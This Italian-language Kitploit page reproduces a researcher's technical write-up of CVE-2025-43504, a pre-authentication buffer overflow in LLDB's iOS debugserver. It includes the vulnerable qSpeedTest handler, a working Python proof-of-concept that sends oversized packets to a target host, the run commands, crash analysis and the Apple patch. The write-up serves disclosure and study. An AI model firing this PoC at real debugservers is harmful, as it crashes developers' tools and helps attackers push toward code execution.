Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-43504 — Analisi tecnica approfondita di CVE-2025-43504, un overflow globale del buffer remoto pre-autenticazione in debugserver di LLDB per iOS, con codice PoC e analisi dello sfruttamento. | Kitploit
Strumenti/GitHubGitHub/calysteon/cve-2025-43504
Sicurezza iOSAnalisi delle VulnerabilitàExploitDebuggerPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

Analisi tecnica approfondita di CVE-2025-43504, un overflow globale del buffer remoto pre-autenticazione in debugserver di LLDB per iOS, con codice PoC e analisi dello sfruttamento.

Vedi Repository
8 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Quando i buoni /bin diventano cattivi: Un overflow remoto pre-autenticazione in LLDB's debugserver


Introduzione

Crescendo, mi è sempre piaciuto rovistare tra i contenitori di DVD al mio Walmart locale. Notavo che molti degli stessi film venivano lasciati in cima, ma se scavavi un po', trovavi titoli più interessanti e di nicchia.

Quando un programma eccede un buffer, in pratica stai frugando nel suo cestino delle occasioni. A seconda di quanto vai in profondità, i DVD – o in questo caso, le strutture sovrascritte in memoria – possono cambiare.

Il /bin dell'occasione di oggi è CVE-2025-43504: Un overflow globale del buffer remoto pre-autenticazione che ho trovato in LLDB's debugserver.

Come Ci Siamo Arrivati?

Durante lo sviluppo di applicazioni, gli sviluppatori spesso hanno bisogno di eseguire il debug della loro app su un dispositivo iOS fisico. Per farlo, Xcode monta una Developer Disk Image sull'iPhone di destinazione e poi si accoppia con esso.

Una volta accoppiato, l'host macOS è in grado di comunicare con il client iOS utilizzando il debugserver installato sul client. Ora qualsiasi client che può stabilire una sessione GDB-remota con il debugserver del dispositivo può raggiungere il gestore qSpeedTest e overfloware il buffer vulnerabile.

Diamo un'occhiata alla pagina di rilascio della sicurezza di Xcode 26.1 per capire meglio come Apple ha categorizzato CVE-2025-43504:

CVE-2025-43504

A causa delle moderne mitigazioni software, Apple considera gli overflow di buffer principalmente come un problema di denial-of-service piuttosto che come una primitiva di corruzione. Come esploreremo oggi, questo è generalmente vero: un attaccante dovrà superare diverse barriere e probabilmente abbinare questo problema con un altro bug per ottenere l'esecuzione arbitraria di codice.

Un Piccolo Passo per Pwn, un Grande Balzo per Pwnkind

Se volete sperimentare con una versione pre-patch di debugserver, usate il seguente commit o qualsiasi commit precedente a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

root@kitploit:~
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

Avrai Bisogno di un Debugger Più Grande

Prima della patch in RNBRemote.cpp, qualsiasi utente remoto che potesse connettersi al debugserver di un dispositivo iOS poteva inviare un pacchetto qSpeedTest pre-autenticazione a RNBRemote::HandlePacket_qSpeedTest e corrompere le strutture adiacenti nel segmento dati globale di debugserver.

Tuttavia, c'è un'importante avvertenza: controlliamo solo la lunghezza della corruzione. Il contenuto del payload è fisso a un flusso di caratteri 'a'. Mentre gli studenti potrebbero apprezzare i voti costantemente alti, l'utilità pratica di questo overflow è notevolmente limitata dal fatto che non possiamo controllare i byte effettivamente scritti – solo quanto lontano arriva l'inondazione di 'a'.

Ora diamo un'occhiata al cofano di RNBRemote::HandlePacket_qSpeedTest per vedere esattamente cosa sta succedendo:

root@kitploit:~
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // Controlliamo la lunghezza di response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // L'overflow di g_data con 'a' avviene qui
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

Il ruolo di RNBRemote::HandlePacket_qSpeedTest() è di elaborare i pacchetti qSpeedTest:response_size:<hex>; in arrivo senza richiedere autenticazione da un utente remoto che può comunicare con il binario debugserver del dispositivo iOS.

Tuttavia, una volta che un utente remoto è in grado di inviare un pacchetto qSpeedTest:response_size:<hex>; a debugserver, non si verificano controlli di autenticazione all'interno di debugserver prima di elaborare il response_size fornito dall'utente. Pertanto, qualsiasi utente che possa comunicare con un dispositivo iOS su cui è montata una Developer Disk Image è in grado di overfloware debugserver tramite un pacchetto qSpeedTest:response_size:<hex>;.

Continua a Nuotare, Nuotare, Nuotare

Ora che abbiamo raggiunto la funzione vulnerabile RNBRemote::HandlePacket_qSpeedTest(), esaminiamo esattamente come avviene l'overflow. Innanzitutto, la dimensione fornita dall'utente <hex> nel pacchetto qSpeedTest:response_size:<hex>; viene estratta e memorizzata nella variabile response_size:

root@kitploit:~
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

Se l'analisi ha successo e il prossimo carattere è un punto e virgola, un buffer statico locale da 4 MiB + 16 byte g_data viene inizializzato e riempito con l'intestazione ASCII "data:":

root@kitploit:~
if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Oops, l'ho Fatto di Nuovo

Mettendo tutto insieme, memset riempie il buffer statico da 4 MiB + 16 byte g_data con 'a' utilizzando il valore di response_size controllato dall'utente come numero di 'a' da usare.

root@kitploit:~
  // L'overflow di g_data con 'a' avviene qui
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Pertanto, ogni volta che un client LLDB remoto invia un pacchetto qSpeedTest:response_size:<hex>; con un response_size maggiore del buffer da 4 MiB + 16 byte, si verifica un overflow del buffer che corrompe le variabili globali adiacenti memorizzate nel segmento dati globale (.bss) di debugserver.

Quando i Buoni Bin Diventano Cattivi

Ora che abbiamo compreso l'architettura alla base dell'overflow, addentriamoci nei meccanismi reali della vulnerabilità. Per iniziare, utilizziamo il seguente programma Python per esplorare le primitive di corruzione ottenute attraverso l'overflow di g_data:

root@kitploit:~
import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # invia il qSpeedTest sovradimensionato
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Piccolo stimolo opzionale per esercitare l'uso del puntatore
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Invia un singolo pacchetto qSpeedTest con response_size scelto")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Stringa esadecimale per response_size (senza prefisso 0x), es. 40100a o 500000")
    args = ap.parse_args()

    print(f"[i] Invio di qSpeedTest:response_size:0x{args.size} a {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Fatto. Se debugserver è crashato, controlla il log per SIGSEGV/SIGBUS e l'indirizzo di fault.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: Nessun Crash

Dopo aver avviato debugserver, eseguiamo il seguente comando python3 e forniamo il response_size di 4004AB:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

Notiamo che debugserver non crasha e ritorna normalmente:

Nessun Crash

Anche se tecnicamente siamo fuori dai limiti, g_data viene terminato con un byte \0, quindi il puntatore a funzione di logging vicino g_log_callback viene sovrascritto solo da un byte NULL, mantenendo l'intero puntatore NULL.

response_size 0x4004AC - 0x40052B: Primo Bus Error

Dopo aver avviato debugserver, eseguiamo il seguente comando python3 e forniamo il response_size di 0x4004AC:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
%

Great Scott! 

![Primo Bus Error](https://assets.kitploit.com/production/public/readmes/23684/8f1fdb64ab83a45e34a80526cd3335e083a8a55f0040c6784abc40bca95c47ed.png)

Fornendo un byte in più, abbiamo superato la coda NULL e abbiamo finito per dereferenziare il puntatore adiacente `g_log_callback` con un valore di `0x61`, causando un crash. Ora, incrementiamo continuamente il parametro `--size` di uno e vediamo cosa succede:

![Timelapse dell'Overflow](https://assets.kitploit.com/production/public/readmes/23684/9ac4a170bab66f604a5dae312f9ddfa12bdb2e9535266f13248c1a50bf272e51.gif)

Come possiamo vedere, ora controlliamo il valore di `g_log_callback`. Beh, parzialmente, controlliamo solo quanti byte in `g_log_callback` sono uguali a `0x61`. 

Possiamo vedere questo accadere in [`_DNBLogVAPrintf`](https://github.com/llvm/llvm-project/blob/main/lldb/tools/debugserver/source/DNBLog.cpp#L65-L72):

```cpp
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}

Poiché g_log_callback non è NULL, il mutex viene bloccato e procede a chiamare il nostro puntatore corrotto e crasha. Ora, dopo un response_size di 0x4004B3, smettiamo di vedere cambiamenti reali nell'indirizzo di crash o nella corrispondente traccia dello stack fino a quando non viene aggiunto un offset di 0x7F a response_size. Logicamente, questo ha senso, perché una volta che il puntatore g_log_callback viene corrotto, qualsiasi successiva corruzione all'interno di altre strutture di logging diventa irrilevante a causa del crash iniziale dovuto alla dereferenziazione di g_log_callback.

È interessante notare che, su una release di produzione di macOS precedente alla patch, sono stato in grado di utilizzare questo controllo parziale del puntatore per sovrascrivere vari puntatori nello spazio utente in memoria:

root@kitploit:~
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169

Per qualche motivo, il byte finale di ogni indirizzo veniva sempre incrementato di 0x8 byte. Tuttavia, se fossimo in grado di risolvere il problema di allineamento creato dai byte finali 0x6169, e in qualche modo riuscissimo a prevedere e controllare i dati dereferenziati dal puntatore sovrascritto, teoricamente potremmo reindirizzare il flusso di controllo e ottenere l'esecuzione di codice.

response_size 0x40052C - 0x402C62: Errore abort()

Abbiamo brevemente discusso del blocco del mutex prima di dereferenziare il puntatore g_log_callback corrotto. Ora, al response_size di 0x40052C, il mutex stesso viene corrotto:

Errore abort()

Notiamo che il problema è apparso quando _DNBLogVAPrintf ha eseguito la costruzione di lock_guard:

root@kitploit:~
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

Basandoci sulla traccia dello stack, vediamo che lock_guard fallisce quando viene chiamato __m_.lock:

root@kitploit:~
    31│   _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
    32│       : __m_(__m) {
    33│     __m_.lock();                                                                                
      │          ▲
    34│   }
    35│

Sono una Funzione che Interpreta una Funzione Travestita da Altra Funzione

Esaminando ulteriormente, diamo un'occhiata alla definizione della funzione std::recursive_mutex:

root@kitploit:~
void recursive_mutex::lock() {
  int ec = __libcpp_recursive_mutex_lock(&__m_);
  if (ec)
    std::__throw_system_error(ec, "recursive_mutex lock failed");
}

Sembra essere un wrapper per __libcpp_recursive_mutex_lock:

root@kitploit:~
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
  return pthread_mutex_lock(__m);
}

Che a sua volta sembra essere un wrapper per pthread_mutex_lock:

root@kitploit:~
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
	return _pthread_mutex_lock(mutex, false);
}

Che è un altro wrapper per _pthread_mutex_lock... Ma non abbiamo bisogno di andare così lontano.

Poiché il puntatore pthread_mutex_t viene corrotto dal nostro overflow, pthread_mutex_lock lancia std::system_error("recursive_mutex lock failed") e il programma quindi lancia un abort() e termina.

A causa dell'abort del programma, lo sfruttamento del response_size tra 0x40052C e 0x402C62 è significativamente più impegnativo poiché stiamo corrompendo una primitiva di sincronizzazione dati i controlli aggiuntivi eseguiti da macOS.

response_size 0x402C63 e oltre: Bus Error Finale

Ora, quando usiamo un response_size di 0x402C63 o maggiore, la CPU va in fault in RNBRemote::HandlePacket_qSpeedTest non appena memset attraversa il confine verso qualsiasi pagina di guardia o regione non mappata che il kernel ha posto dopo il segmento .bss in memoria:

Bus Error Finale

Questa variante finale dell'overflow non è così interessante poiché non esiste un modo diretto per controllare l'esecuzione del programma.

Basta Patcharlo (Patcharlo)

Ora che abbiamo coperto il problema stesso, esaminiamo come Apple lo ha patchato:

Patch

Secondo la descrizione della patch,

Change this allocation to be on heap, and impose a maximum size that can be tested (4MB, for now).

Vediamo due cambiamenti principali:

  1. L'allocazione è sull'heap, piuttosto che nel segmento dati globale (.bss) di debugserver
  2. Viene imposto un limite massimo di 4MB sull'allocazione dove in precedenza non venivano eseguiti controlli di dimensione.

Arrivederci, e Grazie per Tutti i Pesci

Dato l'esteso ecosistema closed-source alla base del software e dei sistemi Apple, è sempre una sfida scoprire e comprendere in modo affidabile i difetti software.

Tuttavia, ci sono sempre dipendenze open-source su cui Apple fa affidamento, e se riesci a trovare un problema in una di esse, è probabile che ci possano essere effetti a valle.

Buona caccia e assicurati di divulgare responsabilmente qualsiasi problema tu possa trovare 😉

Scarica lo strumento